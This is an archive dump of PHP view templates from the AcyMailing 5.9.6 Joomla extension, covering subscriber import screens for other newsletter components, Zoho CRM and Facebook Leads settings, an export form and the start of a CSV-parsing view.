 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
	$resultUsers = acymailing_loadResult('SELECT count(*) FROM `#__vemod_news_mailer_users`');
	
	echo acymailing_translation_sprintf('USERS_IN_COMP',$resultUsers,'Vemod News Mailer');

com_acymailing/views/data/tmpl/database.php000060400000003176152455305300015023 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$subfields = acymailing_getColumns('#__acymailing_subscriber');

$config = acymailing_config();
$postFields = (array)@unserialize($config->get('import_db_fields', ''));
?>
<table <?php echo $this->isAdmin ? '' : 'class="admintable table" cellspacing="1"' ?>>
	<tr>
		<td class="acykey"><?php echo acymailing_translation('TABLENAME'); ?></td>
		<td><input type="text" name="tablename" style="width:200px" size="80" value="<?php echo $this->escape($config->get('import_db_table', '')); ?>"/></td>
	</tr>
	<?php
	if(!empty($subfields)){
		foreach($subfields as $oneField => $type){
			if(in_array($oneField, array('subid', 'confirmed', 'confirmed_date', 'confirmed_ip', 'lastopen_date', 'lastsent_date', 'lastclick_date', 'enabled', 'key', 'userid', 'accept', 'html', 'created'))) continue;
			echo '<tr><td class="acykey">'.$oneField.'</td><td><input style="width:200px" type="text" name="fields['.$oneField.']" value="'.@$postFields[$oneField].'" /></td></tr>';
		}
	}
	if($this->config->get('require_confirmation')){ ?>
		<tr id="trdbconfirm">
			<td class="acykey">
				<?php echo acymailing_translation('IMPORT_CONFIRMED'); ?>
			</td>
			<td>
				<?php echo acymailing_boolean("import_confirmed_database", '', acymailing_getVar('int', 'import_confirmed_database', 1), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
			</td>
		</tr>
	<?php }
	?>
</table>
com_acymailing/views/data/tmpl/contact.php000060400000001070152455305300014701 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
	try{
		$resultUsers = acymailing_loadResult("SELECT count(*) FROM `#__contact_details` WHERE `email_to` LIKE '%@%'");
	}catch(Exception $e){
		$resultUsers = 0;
		acymailing_display($e->getMessage(),'error');
	}


	echo acymailing_translation_sprintf('USERS_IN_COMP',$resultUsers,'com_contact');
com_acymailing/views/data/tmpl/zohocrm.php000060400000013044152455305300014733 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$listClass = acymailing_get('class.list');
$this->data = $listClass->getLists('listid');
$this->values = array();
$this->values[] = acymailing_selectOption('0', '- - -');
foreach($this->data as $onelist){
	$this->values[] = acymailing_selectOption($onelist->listid, $onelist->name);
}
$zohoFields = $this->config->get('zoho_fields');
$value['zoho_fields'] = empty($zohoFields) ? array() : unserialize($zohoFields);
$zohoList = $this->config->get('zoho_list');
$value['zoho_list'] = empty($zohoList) ? 'Leads' : $zohoList;

if(empty($value['zoho_fields'])) $value['zoho_fields'] = array('First Name' => 'name');
?>
<span class="acyblocktitle"><?php echo acymailing_translation('Options'); ?></span>
<table <?php echo $this->isAdmin ? 'class="acymailing_table"' : 'class="admintable table" cellspacing="1"' ?>>
	<?php if($this->config->get('require_confirmation')){ ?>
		<tr id="trfileconfirm">
			<td class="acykey">
				<?php echo acymailing_translation('IMPORT_CONFIRMED'); ?>
			</td>
			<td>
				<?php
				echo acymailing_boolean("zoho_confirmed", '', $this->config->get('zoho_confirmed'), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO'));
				?>
			</td>
		</tr>
	<?php } ?>
	<tr id="trfileoverwrite">
		<td class="acykey">
			<?php echo acymailing_translation('OVERWRITE_EXISTING'); ?>
		</td>
		<td>
			<?php
			echo acymailing_boolean("zoho_overwrite", '', $this->config->get('zoho_overwrite'), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
		</td>
	</tr>
	<tr id="trzohodelete">
		<td class="acykey">
			<?php echo acymailing_translation('DELETE_USERS'); ?>
		</td>
		<td>
			<?php
			echo acymailing_boolean("zoho_delete", '', $this->config->get('zoho_delete'), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO')); ?>
		</td>
	</tr>
	<tr id="trzohoimportnew">
		<td class="acykey">
			<?php echo acymailing_translation('ACY_ZOHO_IMPORT_NEW'); ?>
		</td>
		<td>
			<?php
			echo acymailing_boolean("zoho_importnew", '', $this->config->get('zoho_importnew'), acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO').' : '.acymailing_translation('ALL_USERS')); ?>
		</td>
	</tr>
	<tr id="trzohogeneratename">
		<td class="acykey">
			<?php echo acymailing_tooltip(acymailing_translation('ACY_ZOHO_GENERATE_NAME_DESC'), acymailing_translation('ACY_ZOHO_GENERATE_NAME'), '', acymailing_translation('ACY_ZOHO_GENERATE_NAME')); ?>
		</td>
		<td>
			<?php $generateFrom = array();
			$generateFrom[] = acymailing_selectOption('fromemail', acymailing_translation('ACY_ZOHO_GENERATE_NAME_FROM_EMAIL'));
			$generateFrom[] = acymailing_selectOption('fromconcat', acymailing_translation('ACY_ZOHO_GENERATE_NAME_FROM_FIELDS'));
			echo acymailing_radio($generateFrom, "zoho_generate_name", 'class="inputbox" size="1"', 'value', 'text', $this->config->get('zoho_generate_name', 'fromemail')); ?>
		</td>
	</tr>
	<tr id="trzohoapikey">
		<td class="acykey">
			<?php echo 'Auth Token'; ?>
		</td>
		<td>
			<input class="inputbox" type="text" name="zoho_apikey" size="35" value="<?php echo $this->escape($this->config->get('zoho_apikey')); ?>">
		</td>
	</tr>
	<tr id="trzoholist">
		<td class="acykey">
			<?php echo acymailing_translation('ACY_ZOHOLIST'); ?>
		</td>
		<td>
			<?php $lists = array();
			$lists[] = acymailing_selectOption('Leads', 'Leads');
			$lists[] = acymailing_selectOption('Contacts', 'Contacts');
			$lists[] = acymailing_selectOption('Vendors', 'Vendors');
			echo acymailing_select($lists, "zoho_list", 'class="inputbox" size="1"', 'value', 'text', $value['zoho_list']); ?>
		</td>
	</tr>
	<tr id="trzohocv">
		<td class="acykey">
			<?php echo acymailing_tooltip(acymailing_translation('CUSTOM_VIEW_DESC'), acymailing_translation('CUSTOM_VIEW'), '', acymailing_translation('CUSTOM_VIEW')); ?>
		</td>
		<td>
			<input class="inputbox" type="text" name="zoho_cv" size="35" value="<?php echo $this->escape($this->config->get('zoho_cv')); ?>">
		</td>
	</tr>
</table>


<span class="acyblocktitle" style="margin-top: 20px;"><?php echo acymailing_translation('FIELD'); ?></span>
<?php
$subfields = acymailing_getColumns('#__acymailing_subscriber');
$acyfields = array();
$acyfields[] = acymailing_selectOption('', ' - - - ');
if(!empty($subfields)){
	foreach($subfields as $oneField => $typefield){
		if(in_array($oneField, array('subid', 'confirmed', 'enabled', 'key', 'userid', 'accept', 'html', 'created', 'zohoid', 'zoholist', 'email'))) continue;
		$acyfields[] = acymailing_selectOption($oneField, $oneField);
	}
}
?>
<table <?php echo $this->isAdmin ? 'class="acymailing_table"' : 'class="admintable table" cellspacing="1"' ?>>
	<?php
	echo '<tr><td class="acykey">'.acymailing_translation('ACY_LOADZOHOFIELDS').'</td><td>';
	echo '<input type="submit" class="btn" onclick="acymailing.submitbutton(\'loadZohoFields\')" value="'.acymailing_translation('ACY_LOADFIELDS').'"></td></tr>';

	$fields = explode(',', $config->get('zoho_fieldsname', 'First Name,Last Name,Date of Birth'));

	foreach($fields as $oneField){
		$fieldValue = '';
		if(!empty($value['zoho_fields'][$oneField])) $fieldValue = $value['zoho_fields'][$oneField];
		echo '<tr><td class="acykey">'.$oneField.'</td><td><div id="zoho_fields">'.acymailing_select($acyfields, "zoho_fields[".$oneField."]", 'class="inputbox" size="1"', 'value', 'text', $fieldValue).'</div></td></tr>';
	}
	?>
</table>


com_acymailing/views/data/tmpl/index.html000060400000000054152455305300014533 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/data/tmpl/letterman.php000060400000000721152455305300015243 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
	$resultUsers = acymailing_loadResult('SELECT count(*) FROM '.acymailing_table('letterman_subscribers',false));
	
	echo acymailing_translation_sprintf('USERS_IN_COMP',$resultUsers,'Letterman');
com_acymailing/views/data/tmpl/joomla.php000060400000002073152455305300014533 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count('.$this->cmsUserVars->id.') FROM '.acymailing_table($this->cmsUserVars->table, false));

$resultAcymailing = acymailing_loadResult('SELECT count(subid) FROM '.acymailing_table('subscriber').' WHERE userid > 0');

echo acymailing_translation_sprintf('ACY_IMPORT_NB_J_USERS', $resultUsers).'<br />';
echo acymailing_translation_sprintf('ACY_IMPORT_NB_ACY_USERS', $resultAcymailing).'<br />';
?>
<br/>
<br/>
<?php echo acymailing_translation('ACY_IMPORT_JOOMLA_1'); ?>
<ol>
	<li><?php echo acymailing_translation('ACY_IMPORT_JOOMLA_2'); ?></li>
	<li><?php echo acymailing_translation('ACY_IMPORT_JOOMLA_3'); ?></li>
	<li><?php echo acymailing_translation('ACY_IMPORT_JOOMLA_4'); ?></li>
	<li><?php echo acymailing_translation('ACY_IMPORT_JOOMLA_5'); ?></li>
</ol>
com_acymailing/views/data/tmpl/textarea.php000060400000001016152455305300015063 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><textarea style="width:99%;height:180px;" rows="10" name="textareaentries">
<?php $text = acymailing_getVar('string', "textareaentries");
if(empty($text)){ ?>
name,email
Adrien,adrien@example.com
John,john@example.com
<?php }else{
	echo $text;
} ?>
</textarea>
com_acymailing/views/data/tmpl/acajoom.php000060400000001661152455305300014665 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('acajoom_subscribers', false));
$resultLists = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('acajoom_lists', false));

echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'Acajoom');

if(!empty($resultLists)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'Acajoom').'</span>';
	echo acymailing_translation_sprintf('IMPORT_X_LISTS', $resultLists).'<br />';
	echo acymailing_translation_sprintf('IMPORT_LIST_TOO', 'Acajoom').acymailing_boolean("acajoom_lists");
	echo '</div>';
}
com_acymailing/views/data/tmpl/ccnewsletter.php000060400000002761152455305300015760 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count(*) FROM '.acymailing_table('ccnewsletter_subscribers', false));

$resultLists = array();
$resultNews = array();

if(in_array(acymailing_getPrefix().'ccnewsletter_groups', $this->tables)){
	$resultLists = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('ccnewsletter_groups', false));

	$resultNews = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('ccnewsletter_newsletters', false));
}

echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'ccNewsletter');

if(!empty($resultLists)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'ccNewsletter').'</span>';
	echo acymailing_translation_sprintf('IMPORT_X_LISTS', $resultLists).'<br />';
	echo acymailing_translation_sprintf('IMPORT_LIST_TOO', 'ccNewsletter').acymailing_boolean("ccNewsletter_lists");
	echo '</div>';
}
if(!empty($resultNews)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'ccNewsletter').'</span>';
	echo acymailing_translation_sprintf('IMPORT_NEWSLETTERS_TOO', 'ccNewsletter').acymailing_boolean("ccNewsletter_news");
}
com_acymailing/views/data/tmpl/civi.php000060400000001231152455305300014177 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$importHelper = acymailing_get('helper.import');
$importHelper->setciviprefix();
try{
	$resultUsers = acymailing_loadResult('SELECT count(*) FROM '.$importHelper->civiprefix.'email WHERE is_primary = 1');
	echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'CiviCRM');
}catch(Exception $e){
	echo("Error counting users from CiviCRM. CiviCRM table probably doesn't exists");
}


com_acymailing/views/data/tmpl/yanc.php000060400000001561152455305300014205 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count(*) FROM `#__yanc_subscribers`');
$resultLists = acymailing_loadResult('SELECT count(*) FROM `#__yanc_letters`');

echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'Yanc');

if(!empty($resultLists)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'Yanc').'</span>';
	echo acymailing_translation_sprintf('IMPORT_X_LISTS', $resultLists).'<br />';
	echo acymailing_translation_sprintf('IMPORT_LIST_TOO', 'Yanc').acymailing_boolean("yanc_lists");
	echo '</div>';
}
com_acymailing/views/data/tmpl/communicator.php000060400000000727152455305300015756 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
	$resultUsers = acymailing_loadResult('SELECT count(*) FROM '.acymailing_table('communicator_subscribers',false));
	
	echo acymailing_translation_sprintf('USERS_IN_COMP',$resultUsers,'Communicator');
com_acymailing/views/data/tmpl/export.php000060400000021731152455305300014575 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'data', true); ?>" method="post" name="adminForm" id="adminForm">
		<style>
			#acy_content .oneBlock{
			<?php if(acymailing_isAdmin()){ ?> float: left;
				width: 49%;
				padding: 5px;
				min-width: 500px;
			<?php }else{ ?> width: 100%;
			<?php } ?>
			}
		</style>
		<div style="width:100%;">
			<div class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>">
				<span class="acyblocktitle"><?php echo acymailing_translation('FIELD_EXPORT'); ?></span>
				<table class="acymailing_smalltable">
					<?php
					$k = 0;
					if(!empty($this->fields)){
						foreach($this->fields as $fieldName => $fieldType){
							?>
							<tr class="<?php echo "row$k"; ?>" id="userField_<?php echo $fieldName; ?>">
								<td>
									<?php echo $fieldName ?>
								</td>
								<td align="center" style="text-align:center">
									<?php echo acymailing_boolean("exportdata[".$fieldName."]", '', in_array($fieldName, $this->selectedfields) ? 1 : 0); ?>
								</td>
							</tr>
							<?php
							$k = 1 - $k;
						}
					}
					if(!empty($this->otherfields)){

						foreach($this->otherfields as $fieldName){
							?>
							<tr class="<?php echo "row$k"; ?>" id="userField_<?php echo $fieldName; ?>">
								<td>
									<?php echo $fieldName ?>
								</td>
								<td align="center" style="text-align:center">
									<?php echo acymailing_boolean("exportdataother[".$fieldName."]", '', in_array($fieldName, $this->selectedfields) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO'), str_replace('.', '_', $fieldName)); ?>
								</td>
							</tr>
							<?php
							$k = 1 - $k;
						}
					}
					if(!empty($this->fieldsList)){
						foreach($this->fieldsList as $fieldName => $fieldType){
							?>
							<tr class="<?php echo "row$k"; ?>" id="userField_<?php echo $fieldName; ?>">
								<td>
									<?php echo $fieldName ?>
								</td>
								<td align="center" style="text-align:center">
									<?php echo acymailing_boolean("exportdatalist[".$fieldName."]", '', in_array($fieldName, $this->selectedfields) ? 1 : 0); ?>
								</td>
							</tr>
							<?php
							$k = 1 - $k;
						}
					}
					if(!empty($this->geolocfields)){
						?>
						<tr class="<?php echo "row$k"; ?>" id="userField_<?php echo $fieldName; ?>">
							<td>
								<?php echo acymailing_translation('ACYEXPORT_GEOLOC_VALUE'); ?>
							</td>
							<td align="center" style="text-align:center">
								<?php
								$values = array(acymailing_selectOption('asc', acymailing_translation('SEPARATOR_FIRST_GEOL_SAVED')), acymailing_selectOption('desc', acymailing_translation('ACYEXPORT_LAST_GEOL_SAVED')));
								echo acymailing_select($values, 'exportgeolocorder', '', 'value', 'text', $this->config->get('exportgeolocorder', 'asc')); ?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;

						foreach($this->geolocfields as $fieldName => $fieldType){
							if(in_array($fieldName, array('geolocation_id', 'geolocation_subid'))) continue;
							?>
							<tr class="<?php echo "row$k"; ?>" id="userField_<?php echo $fieldName; ?>">
								<td>
									<?php echo $fieldName ?>
								</td>
								<td align="center" style="text-align:center">
									<?php echo acymailing_boolean("exportdatageoloc[".$fieldName."]", '', in_array($fieldName, $this->selectedfields) ? 1 : 0); ?>
								</td>
							</tr>
							<?php
							$k = 1 - $k;
						}
					}
					?>
					<tr class="<?php echo "row$k";
					$k = 1 - $k; ?>" id="userField_exportFormat">
						<td>
							<?php echo acymailing_translation('EXPORT_FORMAT'); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo $this->charset->display('exportformat', $this->config->get('export_format', 'UTF-8')); ?>
						</td>
					</tr>
					<tr class="<?php echo "row$k"; $k = 1 - $k; ?>" id="userField_separator">
						<td>
							<?php echo acymailing_translation('ACY_SEPARATOR'); ?>
						</td>
						<td align="center" nowrap="nowrap">
							<?php
							$values = array(acymailing_selectOption('semicolon', acymailing_translation('SEPARATOR_SEMICOLON')), acymailing_selectOption('comma', acymailing_translation('SEPARATOR_COMMA')));
							$data = str_replace(array(';', ','), array('semicolon', 'comma'), $this->config->get('export_separator', ';'));
							if($data == 'colon') $data = 'comma';
							echo acymailing_radio($values, 'exportseparator', '', 'value', 'text', $data);
							?>
						</td>
					</tr>
					<tr class="<?php echo "row$k"; ?>" id="userField_excel">
						<td>
							<?php echo acymailing_tooltip(acymailing_translation('ACY_EXCEL_SECURITY_DESC'), acymailing_translation('ACY_EXCEL_SECURITY'), '', acymailing_translation('ACY_EXCEL_SECURITY')); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo acymailing_boolean("export_excelsecurity", '', $this->config->get('export_excelsecurity', 0) == 1 ? 1 : 0); ?>
						</td>
					</tr>
				</table>
			</div>
			<?php if (empty($this->users)){ ?>
			<div class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>">
				<span class="acyblocktitle"><?php echo acymailing_translation('ACY_FILTERS'); ?></span>
				<table class="acymailing_smalltable">
					<tr class="row0">
						<td>
							<?php echo acymailing_translation('EXPORT_SUB_LIST'); ?>
						</td>
						<td align="center" nowrap="nowrap">
							<?php echo acymailing_boolean("exportfilter[subscribed]", 'onchange="if(this.value == 1){document.getElementById(\'exportlists\').style.display = \'block\'; }else{document.getElementById(\'exportlists\').style.display = \'none\'; }"', (in_array('subscribed', $this->selectedFilters) || !empty($this->exportlist)) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO').' : '.acymailing_translation('ALL_USERS')); ?>
						</td>
					</tr>
					<tr class="row1">
						<td>
							<?php echo acymailing_translation('EXPORT_REGISTERED'); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo acymailing_boolean("exportfilter[registered]", '', in_array('registered', $this->selectedFilters) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO').' : '.acymailing_translation('ALL_USERS')); ?>
						</td>
					</tr>
					<tr class="row0">
						<td>
							<?php echo acymailing_translation('EXPORT_CONFIRMED'); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo acymailing_boolean("exportfilter[confirmed]", '', in_array('confirmed', $this->selectedFilters) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO').' : '.acymailing_translation('ALL_USERS')); ?>
						</td>
					</tr>
					<tr class="row1">
						<td>
							<?php echo acymailing_translation('EXPORT_ENABLED'); ?>
						</td>
						<td align="center" style="text-align:center">
							<?php echo acymailing_boolean("exportfilter[enabled]", '', in_array('enabled', $this->selectedFilters) ? 1 : 0, acymailing_translation('JOOMEXT_YES'), acymailing_translation('JOOMEXT_NO').' : '.acymailing_translation('ALL_USERS')); ?>
						</td>
					</tr>
				</table>
				</id>
				<?php } ?>
			</div>
			<div class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>" id="exportlists" <?php echo (in_array('subscribed', $this->selectedFilters) || !empty($this->exportlist) || !empty($this->users)) ? '' : 'style="display:none"' ?> >
				<?php
				if(empty($this->users)){ ?>
					<span class="acyblocktitle"><?php echo acymailing_translation('LISTS'); ?></span>
					<?php
					$currentPage = 'export';
					include_once(ACYMAILING_BACK.'views'.DS.'list'.DS.'tmpl'.DS.'filter.lists.php');
				}else{ ?>
					<span class="acyblocktitle"><?php echo acymailing_translation('USERS'); ?></span>
					<table class="acymailing_table" cellpadding="1">
						<?php
						$k = 0;
						foreach($this->users as $row){
							?>
							<tr class="<?php echo "row$k"; ?>">
								<td><?php echo htmlspecialchars($row->name, ENT_QUOTES, 'UTF-8'); ?></td>
								<td><?php echo htmlspecialchars($row->email, ENT_QUOTES, 'UTF-8'); ?></td>
							</tr>
							<?php $k = 1 - $k;
						}

						if(count($this->users) >= 10){
							?>
							<tr class="<?php echo "row$k"; ?>">
								<td>...</td>
								<td>...</td>
							</tr>
						<?php } ?>
					</table>
				<?php } ?>
			</div>
			<input type="hidden" name="sessionvalues" value="<?php echo empty($this->users) ? 0 : acymailing_getVar('int', 'sessionvalues'); ?>"/>
			<input type="hidden" name="sessionquery" value="<?php echo empty($this->users) ? 0 : acymailing_getVar('int', 'sessionquery'); ?>"/>
			<?php acymailing_formOptions(); ?>
	</form>
	<div class="clr"></div>
</div>
com_acymailing/views/data/tmpl/fbleads.php000060400000005402152455305300014651 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><table class="acymailing_table">
	<tr>
		<td class="acykey">
			<label for="fbleads_token"><?php echo acymailing_tooltip(acymailing_translation('ACY_FBLEADS_TOKEN_DESC'), acymailing_translation('ACY_FBLEADS_TOKEN'), '', acymailing_translation('ACY_FBLEADS_TOKEN')); ?></label>
		</td>
		<td>
			<input type="text" style="width:160px" name="fbleads_token" id="fbleads_token" value="<?php echo $this->escape($this->config->get('fbleads_token')); ?>"/>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_adid"><?php echo acymailing_tooltip(acymailing_translation('ACY_FBLEADS_AD_FORM_ID_DESC'), 'Ad ID', '', 'Ad ID'); ?></label>
		</td>
		<td>
			<input type="text" style="width:160px" name="fbleads_adid" id="fbleads_adid" value="<?php echo $this->escape($this->config->get('fbleads_adid')); ?>"/>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_formid"><?php echo acymailing_tooltip(acymailing_translation('ACY_FBLEADS_AD_FORM_ID_DESC'), 'Form ID', '', 'Form ID'); ?></label>
		</td>
		<td>
			<input type="text" style="width:160px" name="fbleads_formid" id="fbleads_formid" value="<?php echo $this->escape($this->config->get('fbleads_formid')); ?>"/>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_mincreated"><?php echo acymailing_translation('ACY_FBLEADS_MINCREATED'); ?></label>
		</td>
		<td>
			<?php echo acymailing_calendar($this->config->get('fbleads_mincreated'), 'fbleads_mincreated', 'fbleads_mincreated', '%Y-%m-%d', array('style' => 'width:100px')); ?>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_maxcreated"><?php echo acymailing_translation('ACY_FBLEADS_MAXCREATED'); ?></label>
		</td>
		<td>
			<?php echo acymailing_calendar($this->config->get('fbleads_maxcreated'), 'fbleads_maxcreated', 'fbleads_maxcreated', '%Y-%m-%d', array('style' => 'width:100px')); ?>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_email"><?php echo acymailing_translation('EMAILCAPTION'); ?></label>
		</td>
		<td>
			<input type="text" style="width:160px" placeholder="email" name="fbleads_email" id="fbleads_email" value="<?php echo $this->escape($this->config->get('fbleads_email', 'email')); ?>"/>
		</td>
	</tr>
	<tr>
		<td class="acykey">
			<label for="fbleads_name"><?php echo acymailing_translation('NAMECAPTION'); ?></label>
		</td>
		<td>
			<input type="text" style="width:160px" placeholder="full_name" name="fbleads_name" id="fbleads_name" value="<?php echo $this->escape($this->config->get('fbleads_name', 'full_name')); ?>"/>
		</td>
	</tr>
</table>
com_acymailing/views/data/tmpl/ajaxencoding.php000060400000015066152455305300015712 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><span class="acyblocktitle"><?php echo acymailing_translation('ACY_MATCH_DATA'); ?></span>
<?php
$config = acymailing_config();
$encodingHelper = acymailing_get('helper.encoding');
$filename = strtolower(acymailing_getVar('cmd', 'filename'));
$encoding = acymailing_getVar('cmd', 'encoding');

$extension = '.'.acymailing_fileGetExt($filename);
$uploadPath = ACYMAILING_MEDIA.'import'.DS.str_replace(array('.', ' '), '_', substr($filename, 0, strpos($filename, $extension))).$extension;

if(!file_exists($uploadPath)){
	acymailing_display(acymailing_translation_sprintf('FAIL_OPEN', '<b><i>'.htmlspecialchars($uploadPath, ENT_COMPAT, 'UTF-8').'</i></b>'), 'error');
	return;
}
$this->config = acymailing_config();
$this->content = file_get_contents($uploadPath);
if(empty($encoding)){
	$encoding = $encodingHelper->detectEncoding($this->content);
}
$content = $encodingHelper->change($this->content, $encoding, 'UTF-8');

$content = str_replace(array("\r\n", "\r"), "\n", $content);
$this->lines = explode("\n", $content);

$this->separator = ',';
$listSeparators = array("\t", ';', ',');
foreach($listSeparators as $sep){
	if(strpos($this->lines[0], $sep) !== false){
		$this->separator = $sep;
		break;
	}
}

$nbPreviewLines = 0;
$i = 0;

while(isset($this->lines[$i])){
	if(empty($this->lines[$i])){
		unset($this->lines[$i]);
		continue;
	}else $nbPreviewLines++;

	if(strpos($this->lines[$i], '"') !== false){
		$j = $i + 1;
		$position = -1;

		while($j < ($i + 30)){
			$quoteOpened = substr($this->lines[$i], $position + 1, 1) == '"';

			if($quoteOpened){
				$nextQuotePosition = strpos($this->lines[$i], '"', $position + 2);
				if($nextQuotePosition === false){
					if(!isset($this->lines[$j])) break;

					$this->lines[$i] .= "\n".rtrim($this->lines[$j], $this->separator);
					unset($this->lines[$j]);
					$j++;
					continue;
				}else{
					$quoteOpened = false;

					if(strlen($this->lines[$i]) - 1 == $nextQuotePosition){
						break;
					}

					$position = $nextQuotePosition + 1;
				}
			}else{
